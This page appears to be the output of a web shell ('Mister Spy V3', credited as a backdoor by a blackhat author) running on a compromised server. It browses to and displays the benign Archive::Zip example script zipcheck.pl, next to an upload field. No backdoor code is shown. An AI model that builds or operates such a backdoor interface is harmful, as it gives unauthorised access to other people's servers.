Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /usr/share/doc/perl-Archive-Zip/examples/
Upload File :
Current File : //usr/share/doc/perl-Archive-Zip/examples/zipcheck.pl

#!/usr/bin/perl -w
# usage: valid zipname.zip
# exits with non-zero status if invalid zip
# status = 1: invalid arguments
# status = 2: generic error somewhere
# status = 3: format error
# status = 4: IO error
use strict;
use Archive::Zip qw(:ERROR_CODES);
use IO::Handle;
use File::Spec;

# instead of stack dump:
Archive::Zip::setErrorHandler(sub { warn shift() });

my $nullFileName = File::Spec->devnull();
my $zip          = Archive::Zip->new();
my $zipName      = shift(@ARGV) || exit 1;
eval {
    my $status = $zip->read($zipName);
    exit $status if $status != AZ_OK;
};
if ($@) { warn 'error reading zip:', $@, "\n"; exit 2 }

eval {
    foreach my $member ($zip->members) {
        next if $member->isSymbolicLink();
        my $fh = IO::File->new();
        $fh->open(">$nullFileName") || die "can't open $nullFileName\: $!\n";
        my $status = $member->extractToFileHandle($fh);
        if ($status != AZ_OK) {
            warn "Extracting ", $member->fileName(), " from $zipName failed\n";
            exit $status;
        }
    }
}

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat